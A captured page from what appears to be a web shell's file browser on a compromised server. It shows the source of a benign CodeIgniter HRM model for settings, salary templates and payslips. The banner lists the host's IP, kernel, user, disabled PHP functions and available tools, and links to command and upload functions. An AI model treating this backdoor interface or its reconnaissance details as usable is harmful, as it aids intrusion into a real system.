|
Server IP : 103.191.208.50 / Your IP : 216.73.216.53 Web Server : LiteSpeed System : Linux orion.herosite.pro 4.18.0-553.53.1.lve.el8.x86_64 #1 SMP Wed May 28 17:01:02 UTC 2025 x86_64 User : celkcksm ( 1031) PHP Version : 7.4.33 Disable Function : show_source, system, shell_exec, passthru, popen, exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/celkcksm/ecampus.ncriptech.com/application/models/hrm/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php defined('BASEPATH') OR exit('No direct script access allowed');
/**
*
*/
class Hrmsettings_model extends BaseModel
{
function __constuct(){
parent::__construct();
}
//Hrm Settings
public function store_hrm_settings($data,$db_group=null,$return_query=FALSE){
$db_group=!empty($db_group)?$db_group:DB_GROUP;
$this->_db=$this->load->database($db_group, TRUE);
$this->table='institute_hrm_settings';
return $this->store($data,FALSE,$return_query);
}
public function update_hrm_settings($data,$param,$batch=FALSE,$db_group=null,$return_query=FALSE){
$db_group=!empty($db_group)?$db_group:DB_GROUP;
$this->_db=$this->load->database($db_group, TRUE);
$this->table='institute_hrm_settings';
return $this->modify($data,$param,$batch,$return_query);
}
public function delete_hrm_settings($param,$db_group=null,$return_query=FALSE){
$db_group=!empty($db_group)?$db_group:DB_GROUP;
$this->_db=$this->load->database($db_group, TRUE);
$this->table='institute_hrm_settings';
return $this->remove($param,0,$return_query);
}
public function get_hrm_settings($param=null,$single_row=TRUE,$db_group=null,$return_query=FALSE){
$db_group=!empty($db_group)?$db_group:DB_GROUP;
$this->_db=$this->load->database($db_group, TRUE);
$this->table='institute_hrm_settings';
if($single_row==TRUE){
return $this->get_one($param,'',$return_query);
}else if($single_row==FALSE){
return $this->get_many($param,null,null,$return_query);
}
}
//HRM Salary Templates
public function store_hrm_salary_template($data,$db_group=null,$return_query=FALSE){
$db_group=!empty($db_group)?$db_group:DB_GROUP;
$this->_db=$this->load->database($db_group, TRUE);
$this->table='institute_hrm_salary_template';
return $this->store($data,FALSE,$return_query);
}
public function update_hrm_salary_templates($data,$param,$batch=FALSE,$db_group=null,$return_query=FALSE){
$db_group=!empty($db_group)?$db_group:DB_GROUP;
$this->_db=$this->load->database($db_group, TRUE);
$this->table='institute_hrm_salary_template';
return $this->modify($data,$param,$batch,$return_query);
}
public function delete_hrm_salary_template($param,$db_group=null,$return_query=FALSE){
$db_group=!empty($db_group)?$db_group:DB_GROUP;
$this->_db=$this->load->database($db_group, TRUE);
$this->table='institute_hrm_salary_template';
return $this->remove($param,0,$return_query);
}
public function get_hrm_salary_template($param=null,$single_row=TRUE,$db_group=null,$return_query=FALSE){
$db_group=!empty($db_group)?$db_group:DB_GROUP;
$this->_db=$this->load->database($db_group, TRUE);
$this->table='institute_hrm_salary_template';
if($single_row==TRUE){
return $this->get_one($param,'',$return_query);
}else if($single_row==FALSE){
return $this->get_many($param,null,null,$return_query);
}
}
public function _get_hrm_salary_template($post=array(),$param=array(),$count=FALSE,$db_group=null,$return_query=FALSE){
$db_group=!empty($db_group)?$db_group:DB_GROUP;
$this->_db=$this->load->database($db_group, TRUE);
$this->_db->select('institute_hrm_salary_template.*');
$i = 0;
if(isset($param['inst_id'])){
$this->_db->where('template_inst_id',$param['inst_id']);
}
if(isset($param['inst_type'])){
$this->_db->where('template_inst_type',$param['inst_type']);
}
if(isset($param['column_search'])){
foreach ($param['column_search'] as $item)
{
if(isset($post['search']['value']) && $post['search']['value'])
{
if($i===0)
{
$this->_db->group_start();
$this->_db->like($item, $post['search']['value']);
}
else
{
$this->_db->or_like($item, $post['search']['value']);
}
if(count($param['column_search']) - 1 == $i)
$this->_db->group_end();
}
$i++;
}
}
if(isset($post['order']))
{
$column_order=$param['column_order'];
$this->_db->order_by($column_order[$post['order']['0']['column']], $post['order']['0']['dir']);
}
else if(isset($param['order']))
{
$order = $param['order'];
$this->_db->order_by(key($order), $order[key($order)]);
}
if($count==FALSE){
if(isset($post['length']) && $post['length'] != -1){
$this->_db->limit($post['length'],$post['start']);
}
$query = $this->_db->get('institute_hrm_salary_template');
if($return_query==FALSE){
return $query->result();
}else if($return_query==TRUE){
return $this->_db->last_query();
}
}else if($count==TRUE){
$query = $this->_db->get('institute_hrm_salary_template');
if($return_query==FALSE){
return $query->num_rows();
}else if($return_query==TRUE){
return $this->_db->last_query();
}
}
}
public function store_hrm_salary_template_data($data,$batch=FALSE,$db_group=null,$return_query=FALSE){
$db_group=!empty($db_group)?$db_group:DB_GROUP;
$this->_db=$this->load->database($db_group, TRUE);
$this->table='institute_hrm_salary_template_data';
return $this->store($data,$batch,$return_query);
}
public function update_hrm_salary_templates_data($data,$param,$batch=FALSE,$db_group=null,$return_query=FALSE){
$db_group=!empty($db_group)?$db_group:DB_GROUP;
$this->_db=$this->load->database($db_group, TRUE);
$this->table='institute_hrm_salary_template_data';
return $this->modify($data,$param,$batch,$return_query);
}
public function delete_hrm_salary_template_data($param,$db_group=null,$return_query=FALSE){
$db_group=!empty($db_group)?$db_group:DB_GROUP;
$this->_db=$this->load->database($db_group, TRUE);
$this->table='institute_hrm_salary_template_data';
return $this->remove($param,0,$return_query);
}
public function get_hrm_salary_template_data($param=null,$single_row=TRUE,$db_group=null,$return_query=FALSE){
$db_group=!empty($db_group)?$db_group:DB_GROUP;
$this->_db=$this->load->database($db_group, TRUE);
$this->table='institute_hrm_salary_template_data';
if($single_row==TRUE){
return $this->get_one($param,'',$return_query);
}else if($single_row==FALSE){
return $this->get_many($param,null,null,$return_query);
}
}
//Hrm Payslip Template Settings
public function store_hrm_payslip_settings($data,$db_group=null,$return_query=FALSE){
$db_group=!empty($db_group)?$db_group:DB_GROUP;
$this->_db=$this->load->database($db_group, TRUE);
$this->table='institute_hrm_payslip_templates';
return $this->store($data,FALSE,$return_query);
}
public function update_hrm_payslip_settings($data,$param,$batch=FALSE,$db_group=null,$return_query=FALSE){
$db_group=!empty($db_group)?$db_group:DB_GROUP;
$this->_db=$this->load->database($db_group, TRUE);
$this->table='institute_hrm_payslip_templates';
return $this->modify($data,$param,$batch,$return_query);
}
public function delete_hrm_payslip_settings($param,$db_group=null,$return_query=FALSE){
$db_group=!empty($db_group)?$db_group:DB_GROUP;
$this->_db=$this->load->database($db_group, TRUE);
$this->table='institute_hrm_payslip_templates';
return $this->remove($param,0,$return_query);
}
public function get_hrm_payslip_settings($param=null,$single_row=TRUE,$db_group=null,$return_query=FALSE){
$db_group=!empty($db_group)?$db_group:DB_GROUP;
$this->_db=$this->load->database($db_group, TRUE);
$this->table='institute_hrm_payslip_templates';
if($single_row==TRUE){
return $this->get_one($param,'',$return_query);
}else if($single_row==FALSE){
return $this->get_many($param,null,null,$return_query);
}
}
}